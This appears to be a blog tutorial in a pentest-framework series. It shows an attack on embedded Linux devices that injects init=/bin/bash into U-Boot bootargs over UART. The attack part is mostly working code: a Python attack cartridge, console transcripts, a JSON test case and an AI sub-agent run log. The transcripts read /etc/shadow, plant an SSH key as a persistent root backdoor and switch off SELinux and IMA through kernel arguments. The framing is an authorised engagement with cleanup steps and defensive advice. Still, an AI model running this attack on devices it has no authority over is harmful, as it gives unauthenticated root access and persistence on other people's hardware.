Wintermute Framework, Part 9: Attacking U-Boot Over UART — init=/bin/bash via bootargs Injection

Wintermute Framework, Part 9: Attacking U-Boot Over UART — init=/bin/bash via bootargs Injection

Part 8 tested whether the U-Boot console gives you primitives. This post weaponizes those primitives into the textbook Linux-on-embedded escalation:

Interrupt U-Boot at boot. Replace the kernel init argument with /bin/bash. Persist the change. Reboot. Get a root shell with no password, no PAM, no audit, and full read/write to the rootfs.

The work is the same on ARM/aarch64/MIPS/PowerPC. Wintermute lets us encode it as a single TestCase whose execution is a reproducible sub-agent run with a tightly-scoped tool surface, so the same attack fingerprints every UART-exposed device on the operation in one orchestrator pass.

This post stitches together: the UART peripheral from Part 2, the depthcharge console primitive from Part 8, the cartridge pattern from Part 4, and the per-test-case sub-agent contract from Part 7. Engagement target throughout is still iot-cam-01:debug-uart on the acme-iotcam-2026-Q2 operation.

Why init=/bin/bash Specifically

init= is parsed by the Linux kernel before any userspace authentication runs. The kernel forks init from the parent of pid 1 with the value of init= from the kernel command line. There is no /etc/passwd lookup, no PAM, no getty, no SSH key, no LUKS prompt — the shell starts as pid 1 with uid=0 because we never reach the userspace that would have asked for credentials.

The legitimate use is recovery. The illegitimate use, when an attacker controls the bootloader’s bootargs, is the cleanest “we own this device” you can hand a customer.

The U-Boot side of the attack:

  1. Interrupt autoboot to land at the prompt.
  2. setenv bootargs "${bootargs} init=/bin/bash" (or replace).
  3. Optionally saveenv to make it survive reboot.
  4. boot — kernel comes up, sees init=/bin/bash, exec’s bash as pid 1.

The attack works iff all four of the following are true; Part 8’s catalogue already proved most of them on our target:

  • UART console is exposed (we modeled it as debug-uart).
  • Console is not behind a password (no bootdelay=0 / no CONFIG_AUTOBOOT_KEYED).
  • setenv is in the command catalogue (env_write tag in Part 8).
  • saveenv is in the catalogue if you want persistence; one-shot works
    even without it.

The kernel side of the attack works iff:

  • The kernel was built with CONFIG_BLK_DEV_INITRD=y or mounts a real
    rootfs early enough that /bin/bash is reachable.
  • init is not pinned via DTB chosen/bootargs only (i.e., the kernel
    honours U-Boot’s bootargs).
  • No IMA/EVM/measured-boot policy refuses the unsigned shell exec —
    if there is, you’re upgraded to needing selinux=0 enforcing=0
    ima_appraise=off on the cmdline as well.

We will encode every one of those checks into the test case so the sub-agent’s verdict captures why it worked or didn’t.

Step 1 — Add an init_bash_via_uart Cartridge

The depthcharge backend gives us cataloging and memory dumping out of the box, but we want a small focused cartridge that wraps the attack itself so it shows up in the global tool registry, in the console as cartridges run uboot_attack ..., and as an MCP tool the orchestrator can call by name. From Part 4: drop a single file into wintermute/cartridges/.

Create wintermute/cartridges/uboot_attack.py:

"""
U-Boot attack cartridge.
Public methods auto-register as AI tools through CartridgeManager.
Each method opens its own depthcharge context — this matches how the
DepthchargePeripheralAgent in wintermute/backends/depthcharge.py works
and keeps the cartridge stateless so the orchestrator can fan it out
across many UART peripherals safely.
"""
from __future__ import annotations
import logging
from typing import Any
from wintermute.backends.depthcharge import _open_dc_context
log = logging.getLogger(__name__)
class UbootAttackCartridge:
"""One method per offensive primitive against a U-Boot console.
The cartridge does NOT hold a UART peripheral — every call takes a
`device` string ("/dev/ttyUSB0") so it's safe to load globally
and call across any peripheral on the operation.
"""
def interrupt_and_capture_env(
self, device: str, arch: str = "aarch64", timeout: float = 2.0
) -> dict[str, Any]:
"""Interrupt autoboot and return the U-Boot environment + bootargs.
This is the recon step every other method depends on. We capture
the *current* bootargs so the orchestrator can decide whether
`init=/bin/bash` is already there (don't double-add) and so the
report's reproduction step has the original value to restore.
"""
with _open_dc_context(device, timeout, arch) as dc:
runner = getattr(dc, "console", dc)
runner.interrupt()
env_text = runner.run_cmd("printenv")
env: dict[str, str] = {}
for line in env_text.splitlines():
if "=" in line:
k, _, v = line.partition("=")
env[k.strip()] = v.strip()
return {
"device": device,
"bootargs": env.get("bootargs", ""),
"bootcmd": env.get("bootcmd", ""),
"bootdelay": env.get("bootdelay", ""),
"loadaddr": env.get("loadaddr", ""),
"raw_env_lines": len(env),
}
def inject_init_bash(
self,
device: str,
arch: str = "aarch64",
persist: bool = False,
extra_args: str = "",
timeout: float = 2.0,
) -> dict[str, Any]:
"""Append `init=/bin/bash` (and optional extras) to bootargs.
Args:
device: UART path, "/dev/ttyUSB0" form.
arch: depthcharge architecture hint.
persist: True calls `saveenv` so the bootargs change survives
a power cycle. False is one-shot — bootargs revert
on next boot.
extra_args: Additional cmdline tokens to append, e.g.
"selinux=0 enforcing=0 ima_appraise=off rw".
Returns a dict with the original bootargs, the modified bootargs,
whether saveenv was issued, and the saveenv response (so the
sub-agent can verify success).
"""
appended = "init=/bin/bash"
if extra_args:
appended = f"{appended} {extra_args}"
with _open_dc_context(device, timeout, arch) as dc:
runner = getattr(dc, "console", dc)
runner.interrupt()
# Capture current bootargs (idempotent if already injected)
env_text = runner.run_cmd("printenv bootargs")
old_bootargs = ""
for line in env_text.splitlines():
if line.startswith("bootargs="):
old_bootargs = line[len("bootargs="):]
break
if "init=" in old_bootargs:
log.warning(
"bootargs already contains init=; the kernel uses the "
"FIRST occurrence — appending will be a no-op. "
"Replacing instead."
)
# Drop any existing init=... token, keep everything else.
tokens = [
t for t in old_bootargs.split()
if not t.startswith("init=")
]
base = " ".join(tokens)
else:
base = old_bootargs
new_bootargs = f"{base} {appended}".strip()
# Use single-quotes around the value so spaces are literal.
runner.run_cmd(f"setenv bootargs '{new_bootargs}'")
verify = runner.run_cmd("printenv bootargs")
saveenv_out = ""
if persist:
saveenv_out = runner.run_cmd("saveenv")
return {
"device": device,
"old_bootargs": old_bootargs,
"new_bootargs": new_bootargs,
"verify": verify.strip(),
"persisted": persist,
"saveenv_response": saveenv_out.strip(),
}
def boot_and_detach(
self, device: str, arch: str = "aarch64", timeout: float = 2.0
) -> dict[str, Any]:
"""Issue `boot` and detach. Does NOT wait for the shell.
We deliberately do not interact with the post-boot shell here —
depthcharge's console abstraction is U-Boot specific. The
sub-agent verifies success out-of-band (e.g., by re-attaching a
plain `serial` tool, or by SSHing in if init=/bin/bash didn't
kill the network stack).
"""
with _open_dc_context(device, timeout, arch) as dc:
runner = getattr(dc, "console", dc)
runner.interrupt()
# `run bootcmd` is more general than `boot`; works on builds
# where bootcmd is not the default macro.
runner.run_cmd("boot", timeout_override=0.5)
return {"device": device, "issued": "boot"}
def restore_bootargs(
self,
device: str,
original_bootargs: str,
arch: str = "aarch64",
persist: bool = True,
timeout: float = 2.0,
) -> dict[str, Any]:
"""Restore the bootargs captured by interrupt_and_capture_env.
Always called by the sub-agent in the cleanup phase if `persist`
was used during the attack — leaving a customer's device with a
permanent root shell after a sanctioned engagement is rude and
likely contractually forbidden.
"""
with _open_dc_context(device, timeout, arch) as dc:
runner = getattr(dc, "console", dc)
runner.interrupt()
runner.run_cmd(f"setenv bootargs '{original_bootargs}'")
verify = runner.run_cmd("printenv bootargs")
saveenv_out = runner.run_cmd("saveenv") if persist else ""
return {
"device": device,
"restored_bootargs": original_bootargs,
"verify": verify.strip(),
"persisted": persist,
"saveenv_response": saveenv_out.strip(),
}

Five things worth pointing out about this cartridge:

  • Stateless across calls. Each method opens its own
    _open_dc_context and exits cleanly. The orchestrator can run
    inject_init_bash against four different UARTs in parallel without
    cross-contaminating sessions.
  • Idempotency on init=. If the bootargs already contained init=
    (e.g., a prior run, or a rescue mode we don’t know about), we replace
    rather than appending. The Linux kernel uses the first init= token
    it sees on the cmdline, so naively appending would silently no-op.
  • Single-quoted setenv. setenv bootargs '...' keeps whitespace
    literal under the U-Boot console’s tokenizer; double quotes get
    word-split.
  • restore_bootargs is part of the cartridge. A penetration test
    that does not have a “put it back” primitive is not a sanctioned test;
    the cartridge gives the sub-agent the symmetry it needs to clean up
    even when it crashes mid-sequence.
  • No raw bytes returned. Every method returns a small JSON-shaped
    dict so the LLM (Part 7’s sub-agent loop) can keep state in context
    without hitting the 1 KiB workspace-offload threshold from Part 3.

Step 2 — Load and Drive the Cartridge

From the console, exactly the same shape as the cartridges in Part 4:

onoSendai [acme-iotcam-2026-Q2/cartridges] > load uboot_attack
✔ Loaded cartridge uboot_attack — 4 tool(s) registered with the AI.
[*] Exposed functions: interrupt_and_capture_env, inject_init_bash,
boot_and_detach, restore_bootargs

Now an end-to-end transcript, run by hand against the IoT camera (serial cable on J3, target powered with power on in the lab PSU):

onoSendai [.../cartridges/uboot_attack] > run interrupt_and_capture_env /dev/ttyUSB0
{'device': '/dev/ttyUSB0',
'bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro',
'bootcmd': 'run mmcboot',
'bootdelay': '2',
'loadaddr': '0x80000000',
'raw_env_lines': 47}
onoSendai [.../cartridges/uboot_attack] > run inject_init_bash /dev/ttyUSB0 aarch64 false "rw"
{'device': '/dev/ttyUSB0',
'old_bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro',
'new_bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw',
'verify': 'bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw',
'persisted': False,
'saveenv_response': ''}
onoSendai [.../cartridges/uboot_attack] > run boot_and_detach /dev/ttyUSB0
{'device': '/dev/ttyUSB0', 'issued': 'boot'}
# Detach the depthcharge console; reopen the serial in a plain terminal
# (screen, picocom, minicom). After ~2-5 seconds, you'll see:
#
# bash-5.1#
#
# Verify with:
# bash-5.1# id
# uid=0(root) gid=0(root) groups=0(root)
# bash-5.1# mount -o remount,rw /
# bash-5.1# cat /etc/shadow
# root:$1$...
#
# We are init. There is no PAM, no /sbin/init, no agetty.

Notice that /etc/shadow is readable but also writable — we asked for rw in extra_args, so we mounted the rootfs writable from the start. That is the difference between “I can read the hash for offline cracking” and “I can plant my own SSH key in /root/.ssh/authorized_keys and reboot to a permanent backdoor.”

Two practical follow-ups from the bash prompt:

bash-5.1# cat /proc/cmdline
console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw
^^^^^^^^^^^^^^^^
bash-5.1# uname -a
Linux (none) 5.15.78-iot-cam #1 SMP Wed Mar 12 ...
bash-5.1# echo "ssh-ed25519 AAAA... pentest@laptop" >> /root/.ssh/authorized_keys
bash-5.1# sync
bash-5.1# /sbin/reboot -f

The device boots normally on the next power cycle (we passed persist=False), so the bootargs revert. But the file we wrote to the rootfs persists. That is the canonical persistence delta in this attack — we mutated the filesystem during the bash session, not the boot configuration.

Step 3 — Encode This as a TestCase

Drop the test case into the existing TP-HW-BLACKBOX-001.json (or a custom TP-UBOOT-ATTACK-001.json):

{
"code": "IOT-HW-UART-INIT-BASH-001",
"name": "U-Boot bootargs injection: init=/bin/bash",
"description": "Interrupt the UART U-Boot console, append init=/bin/bash to bootargs, boot, verify root shell, restore bootargs cleanly.",
"execution_mode": "per_binding",
"execution_binding": "uart",
"target_scope": {
"tags": ["uart", "uboot", "post-exploitation", "destructive-mild"],
"bindings": [
{ "kind": "device", "name": "dut", "where": {}, "cardinality": "one" },
{ "kind": "peripheral", "name": "uart",
"where": { "device": "dut", "pType": "UART" }, "cardinality": "many" }
]
},
"steps": [
{ "title": "Capture original env",
"tool": "uboot_attack.interrupt_and_capture_env",
"action": "snapshot", "confidence": 90,
"arguments": ["${uart.device_path}"] },
{ "title": "Inject init=/bin/bash + rw (one-shot, no saveenv)",
"tool": "uboot_attack.inject_init_bash",
"action": "tamper", "confidence": 85,
"arguments": ["${uart.device_path}", "aarch64", "false", "rw"] },
{ "title": "Boot to bash",
"tool": "uboot_attack.boot_and_detach",
"action": "exec", "confidence": 80,
"arguments": ["${uart.device_path}"] },
{ "title": "Verify root shell out-of-band",
"tool": "manual.serial-capture",
"action": "verify", "confidence": 70,
"arguments": ["bash-5", "uid=0"] },
{ "title": "Restore original bootargs",
"tool": "uboot_attack.restore_bootargs",
"action": "cleanup", "confidence": 90,
"arguments": ["${uart.device_path}", "${old_bootargs}", "aarch64", "true"] }
]
}

A few details that matter for execution:

  • per_binding over uart. If iot-cam-01 had two UART peripherals
    (a debug UART and a service UART), this generates two runs and the
    orchestrator dispatches one sub-agent per UART. The framework’s run-id
    format from Part 2 (<TC>:<DEVICE>:<OBJECT>) keeps the runs distinct
    (IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uart vs …:service-uart).
  • destructive-mild tag. This influences the dispatcher in Part 6.
    dispatch_node routes anything tagged destructive to defer by
    default, but destructive-mild (no permanent state changes — we
    restore in step 5) is one we let through if the operator allows it.
  • The fourth step (verify) is manual.serial-capture. No cartridge
    method exists for “wait for bash-5 on a serial line” because the
    depthcharge console abstraction is U-Boot specific. The sub-agent’s
    prompt instructs it to mark the run passed only when this step’s
    verification can be confirmed; in autonomous mode this becomes a
    blocked run waiting for an analyst to attach screen and confirm.
    In Part 11 we’ll add an SSH-based verification path that doesn’t need
    a human in the loop.

Step 4 — The Sub-Agent Tool Surface

Add to _TOOL_PROFILES in your sub-agent module (the table from Part 7):

_TOOL_PROFILES["uboot-attack-uart"] = (
["uboot_attack"], # cartridge to load
("interrupt_and_capture_env",
"inject_init_bash",
"boot_and_detach",
"restore_bootargs",
"execute_depthcharge_catalog"), # MCP, recon
)

Then teach _peripheral_kind (also from Part 7) to map a UART peripheral whose containing test case is tagged uboot into the uboot-attack-uart profile rather than the generic uart one. The cleanest way is to look at the parent test case’s tags from inside select_tool_surface:

def select_tool_surface(run, op):
# ... existing object-resolution code ...
tc = next(t for t in op.iterTestCases() if t.code == run.test_case_code)
is_uboot_attack = "uboot" in tc.target_scope.tags
profile_keys = []
for b in run.bound:
# ... resolve obj ...
kind = _peripheral_kind(obj)
if kind == "uart" and is_uboot_attack:
kind = "uboot-attack-uart"
profile_keys.append(kind)
# ... rest of select_tool_surface ...

Now the orchestrator running IOT-HW-UART-INIT-BASH-001 against iot-cam-01:debug-uart selects the four cartridge methods plus the depthcharge catalog tool — and only those. The sub-agent cannot accidentally call dump_firmware (JTAG) or start_fuzzing (Surgeon).

Step 5 — A Real Sub-Agent Trace

Plug into the orchestrator from Part 6 (orchestrator run T000002 where T000002 is a ticket scoped to “verify uboot bootargs injection on iot-cam-01”):

[orchestrator] read_ticket: tags=#uboot #uart #blackbox
scope.target_host="iot-cam-01"
[orchestrator] plan_node: attached TP-UBOOT-ATTACK-001 (1 case)
generated 1 TestCaseRun
[orchestrator] dispatch_node:
IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uart
-> execute (destructive-mild allowed by operator)
[orchestrator] execute_runs_node: dispatching 1 sub-agent
[subagent IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uart]
surface = [interrupt_and_capture_env, inject_init_bash,
boot_and_detach, restore_bootargs,
execute_depthcharge_catalog]
call execute_depthcharge_catalog(peripheral_id="<uart-id>", add_vulns=False)
-> {"total_commands": 93, "dangerous_commands": 41, ...}
# confirms setenv + saveenv are present (severity sanity check)
call interrupt_and_capture_env(device="/dev/ttyUSB0")
-> {"bootargs": "console=ttyS0,115200 root=/dev/mmcblk0p2 ro",
"bootcmd": "run mmcboot",
"bootdelay":"2", ...}
call inject_init_bash(device="/dev/ttyUSB0", arch="aarch64",
persist=false, extra_args="rw")
-> {"old_bootargs": "...ro",
"new_bootargs": "...ro init=/bin/bash rw",
"verify": "bootargs=...init=/bin/bash rw",
"persisted": false,
"saveenv_response": ""}
call boot_and_detach(device="/dev/ttyUSB0")
-> {"issued": "boot"}
# The verify step is blocked by design (manual serial confirmation).
# Sub-agent flags as `blocked` with notes for the analyst.
call restore_bootargs(device="/dev/ttyUSB0",
original_bootargs="console=ttyS0,115200 root=/dev/mmcblk0p2 ro",
arch="aarch64", persist=true)
-> {"restored_bootargs": "console=ttyS0,115200 root=/dev/mmcblk0p2 ro",
"verify": "bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 ro",
"persisted": true,
"saveenv_response": "Saving Environment to MMC... Writing to MMC... done"}
verdict = {"verdict":"blocked",
"title":"U-Boot bootargs injection successful; manual verify required",
"description":"Successfully appended init=/bin/bash rw to bootargs;
console acknowledged the change. Boot was issued. Cleanup
restored the original bootargs and persisted to MMC.
Manual serial confirmation of the bash prompt required.",
"cvss":9, ...}
run.status = blocked
run.notes = "manual: attach screen /dev/ttyUSB0 115200 to confirm bash prompt; root shell expected within 5s"

The blocked verdict is correct: the framework is honest that the critical piece (was there really a root shell?) was not autonomously verified. In the DOCX report this finding sits in the “blocked / operator review” appendix, with the full reproduction step list and the old_bootargs / new_bootargs strings as evidence. The customer’s engineer types the steps in order on their own bench and reproduces it in under thirty seconds.

To upgrade this to an autonomous passed verdict, add an SSH-or-similar post-boot probe — that is a one-paragraph extension to the sub-agent contract from Part 7. We’ll wire it explicitly in Part 11 when we patch the U-Boot binary itself and need the same out-of-band verification.

Operational Notes and Gotchas

  • bootcmd matters more than bootargs if the build uses bootm macros.
    Some OEMs do bootcmd=run loadk; bootm 0x80000000 - 0x83000000. In that
    flow, bootm reads the embedded cmdline from the FIT image’s
    chosen/bootargs node, not the U-Boot env. Detection: if your injected
    init=/bin/bash does not appear in the kernel’s /proc/cmdline after
    boot, look at bootcmd. The fix is to overwrite the FIT image’s DTB —
    much harder, but Part 11 covers exactly that path with Ghidra and a
    patched DTB.
  • Watch for saveenv failure on read-only environments. Some
    builds use CONFIG_ENV_IS_NOWHERE or have an OTP-locked env partition.
    saveenv_response will say something like Environment Storage is read- only — the cartridge captures this and the sub-agent reports it. The
    one-shot path (persist=False) still works.
  • Bash may not exist. Embedded Linux often ships only BusyBox; there
    is no /bin/bash, only /bin/sh. Pass extra_args="init=/bin/sh"
    the cartridge’s inject_init_bash will append on top of your earlier
    init=, but the kernel reads only the first one, so just make
    extra_args your real init path. Better: extend the cartridge with an
    explicit init_path parameter (a four-line edit; a good first PR).
  • IMA / EVM / measured boot. If the kernel logs
    IMA: appraising ... failed and refuses to exec bash, append
    ima_appraise=off to extra_args. Combined with selinux=0 enforcing=0 this defeats the policy enforcement on most production
    builds that ship policy but ship it without lockdown.
  • Don’t saveenv during the attack. Sets a clear “we were here”
    signal. The one-shot path (no saveenv during inject, saveenv only in
    restore_bootargs) is the cleanest — boot once with the tampered
    args, do your work in bash, and the next reboot is byte-identical to
    pre-engagement.
  • Document the bootdelay. Capture bootdelay in
    interrupt_and_capture_env‘s output so the report can flag
    bootdelay=0 / bootdelay=-1 / CONFIG_AUTOBOOT_KEYED recommendations
    for the customer. The fact that the attack worked is a stronger
    argument than any abstract “set bootdelay to 0”.

Why This Matters For the Engagement

The DOCX from Report.save(...) after this run carries a single Vulnerability titled “U-Boot bootargs injection successful; manual verify required”, CVSS 9, with a five-step ReproductionStep list that mirrors the cartridge calls. The customer’s reproduce-in-thirty- seconds path is in the report, the original bootargs value is captured verbatim so the customer knows what to expect under their own test, and the cleanup step is documented so they can verify nothing about the device’s persistent state was changed.

The deliverable a customer can act on is “remove setenv/saveenv from the production U-Boot build, set bootdelay=0 and CONFIG_AUTOBOOT_KEYED, sign the FIT image and pin bootargs in chosen/bootargs.” Each one of those bullets corresponds to one of the four prerequisites we listed at the top of the post — the report can cite the exact one each mitigation closes.

What’s Next

Part 10 shifts from the U-Boot console to the JTAG TAP. Same target, much lower-level primitive: halt the core, read registers, dump and patch memory, change PC, single-step. Where this post weaponized the bootloader’s configuration, Part 10 weaponizes the bootloader’s execution — and sets up Part 11, where we use Ghidra (mounted via MCP) to identify exactly which bytes in the dumped U-Boot binary need patching to hard-wire init=/bin/bash permanently.

Leave a Reply

Hey!

I’m Bedrock. Discover the ultimate Minetest resource – your go-to guide for expert tutorials, stunning mods, and exclusive stories. Elevate your game with insider knowledge and tips from seasoned Minetest enthusiasts.

Join the club

Stay updated with our latest tips and other news by joining our newsletter.

Discover more from Exploit.Ninja

Subscribe now to keep reading and get access to the full archive.

Continue reading